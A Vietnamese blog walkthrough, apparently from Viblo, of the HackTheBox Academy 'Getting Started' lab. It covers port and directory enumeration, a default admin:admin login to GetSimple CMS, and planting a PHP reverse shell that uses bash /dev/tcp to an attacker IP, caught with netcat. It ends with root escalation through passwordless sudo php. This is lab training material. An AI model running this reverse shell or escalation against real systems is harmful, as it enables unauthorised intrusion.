0

My first machine -H_T_B

Hành trình tấn công machine đầu tiên - H_T_B

Machine này xuất hiện ở cuối module Getting Started

1. Thứ tự thao tác + tư duy của tớ:

  • AE nhớ kết nối với VPN của HTB để thực hiện tấn công nhóe
sudo openvpn academy-regular.ovpn
  • OK vậy là hiện nay chúng ta đã có trong tay IP của machine bắt đầu triển thôiii
  • Trước hết tớ sử dụng nmap để quét qua các port của IP này, lọc ra các port đang open trước đã
nmap -sV --open <IP_TARGET>
Starting Nmap 7.95 ( https://nmap.org ) at <TIME>
Nmap scan report for <IP_TARGET>
Host is up (0.32s latency).
Not shown: 875 closed tcp ports (conn-refused), 123 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.32 seconds

Tớ đã sử dụng các cờ -sV, --open: Cờ --open sẽ lọc chỉ hiện những port đang trong trạng thái open ra màn hình còn cờ -sV sẽ cho chúng ta biết thêm về version của service đang chạy ở trong những port đó. Ngoài ra, ae có thể dùng thêm cờ -p- để quét full port nhé. Hiện nay, tớ thấy được ở IP này đang có 2 cổng được mở là 22 và 80 (http). Hmm vậy chúng ta thử kiểm tra port 80 của nó xem sao.

  • Mở Firefox kiểm tra: image.png
  • Kiểm tra một cách trực quan qua phần inspect, page source tớ không thấy điều gì đặc biệt cả
  • Hmm kiểm tra qua với whatweb chúng ta có thể thấy được version cụ thể của web không
whatweb http://<IP_TARGET>/                                                                               
http://<IP_TARGET>/ [200 OK] AddThis, Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apa
che/2.4.41 (Ubuntu)], IP[<IP_TARGET>], Script[text/javascript], Title[Welcome to GetSimple! - gettingstarted]

Cũng chưa thấy gì đặc biệt cả nhỉ, đều là những điều chúng ta đã biết sau khi đã quét qua bằng nmap -sV

  • Tớ sẽ check qua với gobuster
gobuster dir -u http://<IP_TARGET> -w /SecLists/Discovery/Web-Content/c04:44:36 [20/42]
===============================================================                                                   
Gobuster v3.6                                                                                                     
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                     
===============================================================                                                   
[+] Url:                     http://<IP_TARGET>                                                                 
[+] Method:                  GET                                                                                  
[+] Threads:                 10                                                                                   
[+] Wordlist:                /SecLists/Discovery/Web-Content/common.txt                        
[+] Negative Status codes:   404                                                                                  
[+] User Agent:              gobuster/3.6                                                                         
[+] Timeout:                 10s                                                                                  
===============================================================                                                   
Starting gobuster in directory enumeration mode                                                                   
===============================================================                                                   
/.hta                 (Status: 403) [Size: 278]                                                                   
/.htpasswd            (Status: 403) [Size: 278]                                                                   
/.htaccess            (Status: 403) [Size: 278]                                                                   
/admin                (Status: 301) [Size: 314] [--> http://<IP_TARGET>/admin/]                                 
/backups              (Status: 301) [Size: 316] [--> http://<IP_TARGET>/backups/]                               
/data                 (Status: 301) [Size: 313] [--> http://<IP_TARGET>/data/]                                  
/index.php            (Status: 200) [Size: 5485]         
/plugins              (Status: 301) [Size: 316] [--> http://<IP_TARGET>/plugins/]
/robots.txt           (Status: 200) [Size: 32]
/server-status        (Status: 403) [Size: 278]
/sitemap.xml          (Status: 200) [Size: 431]
/theme                (Status: 301) [Size: 314] [--> http://<IP_TARGET>/theme/]
Progress: 4751 / 4751 (100.00%)
===============================================================
  1. Tớ đã quét bằng gobuster với chế độ dir để tìm kiếm phần url ẩn trên server này. Cờ -u là để điền url "gốc" của chúng ta và cờ -w là đường dẫn đến common.txt (list tên các thư mục, tên file thường gặp). Gobuster sẽ lần lượt ghép url "gốc" của chúng ta với các tên trong common.txt và kiểm tra xem liệu url mới được tạo ra có tồn tại không.
  2. Tớ chú ý thấy dòng: /robots.txt (Status: 200) [Size: 32]. File robots.txt là file để "quy định" rằng các con bot thu thập thông tin (vd bot thu thập thông tin để train cho AI) trên trình duyệt web KHÔNG ĐƯỢC PHÉP hay ĐƯỢC PHÉP thu thập dữ liệu nào của website. => chúng ta hoàn toàn có thể vào đọc thử xem liệu có đường dẫn bí mật nào vô tình được tiết lộ qua robots.txt không
  • Check robots.txt image.png Bùm !! chúng ta thấy được đường dấn đến /admin/ bị nghiêm cấm thu thập data. Trông nguy hiểm, khả nghi là có thông tin hay phết vào thử phát xem nàoo
  • Check /admin/ image.png Quả nhiên là như thế khi đường dẫn /admin/ dẫn chúng ta đến 1 trang đăng nhập nhưng đăng nhập thế nào nhỉ
  • Đăng nhập Tớ biết có rất nhiều cách trên đời để tìm kiếm cặp thông tin username:password nhưng trước hết chúng ta nên thử thủ công các cặp nổi tiếng đã. Tớ đã thử cặp admin:admin và nó đúng ngay lần thử đầu tiên ạ =)))))))))) nghe ảo đko nma sự thật nó là nthe. Maybe đây sự cố ý của bên làm ra cái lab này hoặc cũng có thể tớ may mắn và họ thật sự giấu cặp username:password ở đâu đó tớ sẽ tìm thêm và update. Nếu có ai đó biết có cách nào khác để tìm ra được cặp username:password thì cmt cho tớ với nhé. image.png Đây là màn hình khi đã đăng nhập vào
  • Tìm kiếm lục lọi một chút...

Tớ đã thấy dòng này image.png Tìm thêm một chút nữa tớ tìm thấy dòng này và điều này đã khẳng định trang web này được xây dựng trên GetSimple CMS version 3.3.15 image.png Đây là một thông tin cực kì quý giá vì chúng ta có thể nhanh tay lên search kiểu "GetSimple v3.3.15 exploit" hoặc cái gì đó tương tự và có thể phiên bản này sẽ có nhiều thứ hay ho để khai thác image.png RCE à ngonnnn nuôn. RCE là có quyền thực thi từ xa nhé cả nhà. Từ nguồn tri thức nhân loại chúng ta biết được rằng lỗ hổng ở GetSimple v3.3.15 cho phép attacker có thể RCE lại còn không cần phải xác thực thông qua cơ chế upload file tùy ý (nghiêm trọng nhỉ). Vậy chúng ta cần tìm cách để upload file chứa mã độc lên hệ thống là xong

  • Up file lên hệ thống Ở giao diện home page phía trên mọi người đều thấy có mục files. Tớ cũng thế và tớ kiểm tra nó đầu tiên. Trong đó cũng có nút up file and folder luôn. Nhưng nút đó không hoạt động, Tìm ở home page một chút nữa tớ tìm thấy thứ này: image.png
  1. Ô tức là chúng ta đã có quyền ghi vào 1 file .php trên hệ thống rồi. Vậy thì chúng ta có thể thử sửa nội dung file php này thành mã độc của chúng ta rồi đẩy lên hệ thống.
  2. Tớ sử dụng reverse shell nói nôm na là dòng lệnh ép máy mục tiêu "alo" đến cổng mà máy chúng ta chỉ định, từ đó thiết lập được được truyền giữa 2 máy và ta có thể khai thác data đang có mặt trên máy mục tiêu. Nếu máy chúng ta "alo" thẳng cho máy mục tiêu thì rất dễ bị tường lửa của máy mục tiêu chăn vậy nên reverse shell có thể "lách" qua tưởng lửa vì nó xuất phát từ chính bản thân máy mục tiêu. Tớ sử dụng reverse shell PHP này:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"ATTACKING IP"/443 0>&1'");?>

Tức là shell này sẽ "ép" máy mục tiêu phải "alo" qua cổng (port) 443 của máy chúng ta.

UPDATE: thời điểm viết ra cái blog này tự dưng tớ nghĩ về ý tưởng chúng ta có thể dùng curl -X POST thẳng file .php độc lên hệ thống không. Tớ sẽ thử thêm.

  • Lắng nghe qua cổng 443 Về phía máy chúng ta tớ sử dụng nc (netcat) để mở cổng 443 và ngồi chờ:
sudo nc -lvnp 443
[sudo] password for admin: 
Listening on 0.0.0.0 443
Connection received on <IP_TARGET> <PORT>

Dòng Connection received on <TARGET_IP> xuất hiện cho thấy reverse shell đã hoạt động thành công ! và chúng ta đang có quyền RCE trên hệ thống dưới tư cách là 1 user thông thường.

www-data@gettingstarted:/usr/bin$ cd /home
cd /home
www-data@gettingstarted:/home$ ls
ls
mrb3n
www-data@gettingstarted:/home$ cd mrb3n
cd mrb3n

Đây là tớ đang thử các lệnh cdls và chúng hoạt động bình thường !

  • Sau một hồi tìm kiếm chúng ta sẽ có được user.txt và trong đó là flag MỨC user:
www-data@gettingstarted:/home/mrb3n$ ls
ls
user.txt
www-data@gettingstarted:/home/mrb3n$ cat user.txt
cat user.txt
<USER__FLAG>
  • Leo thang đặc quyền và ROOT_FLAG

Mục tiêu cuối cùng của chúng ta là leo quyền từ user lên thành root và kiếm flag mức root

www-data@gettingstarted:/home/mrb3n$ sudo -l
sudo -l
Matching Defaults entries for www-data on gettingstarted: 
    env_reset, mail_badpass, 
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on gettingstarted:
(ALL : ALL) NOPASSWD: /usr/bin/php

Lệnh sudo -l cho chúng ta biết ở mức user hiện tại chúng ta có thể chạy những lệnh gì với quyền sudo và dòng (ALL : ALL) NOPASSWD: /usr/bin/php cho ta biết một điều cực kì quý giá: Chúng ta có thể chạy lệnh /usr/bin/php với quyền sudo mà không bị hỏi mật khẩu. Tớ sử dụng ngay lệnh sudo /usr/bin/php -r "system('/bin/bash');". Lệnh này cho phép tạo ra 1 shell mới và shell mới được kế thừa ngay quyền sudo của lệnh sudo /usr/bin/php -r "system('/bin/bash');". Vậy là tớ đã lấy leo thang đặc quyền lên quyền sudo thành công !!!!!!

www-data@gettingstarted:/home/mrb3n$ sudo /usr/bin/php -r "system('/bin/bash');"
</mrb3n$ sudo /usr/bin/php -r "system('/bin/bash');"
id
uid=0(root) gid=0(root) groups=0(root)
cd /home
ls
mrb3n
cd mrb3n
ls
user.txt
cd /root
ls
root.txt
snap
cat root.txt
<ROOT_FLAG>

Dòng id uid=0(root) gid=0(root) groups=0(root) cho thấy chúng ta đã leo quyền root thành công và lấy được flag

2. Ý tưởng, tư duy tấn công của tớ

  • Web Enum: Quét qua một lượt các port mở bằng nmap, sau đó kiểm tra qua bằng whatweb, gobuster. Mục tiêu: thu thập những thông tin cần thiết cho cuộc tấn công
  • Sau khi đã có những thông tin sau giai đoạn Web Enum, tìm hiểu về những cách tấn công: những lỗ hổng, vv
  • Xây dựng phương án tấn công, tìm cách để triển khai phương án đó. Như bài này là chiếm quyền RCE qua việc upload fle độc hại
  • Sử dụng shell để kết nối giữa target và máy mình (vd: reverse shell), ssh có dùng được không ? Đã có quyền RCE rồi thì leo được quyền không, nên leo thế nào ?
  • Không ngừng học hỏi, không ngừng bỏ cuộc bro.
  • I trust the process

All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí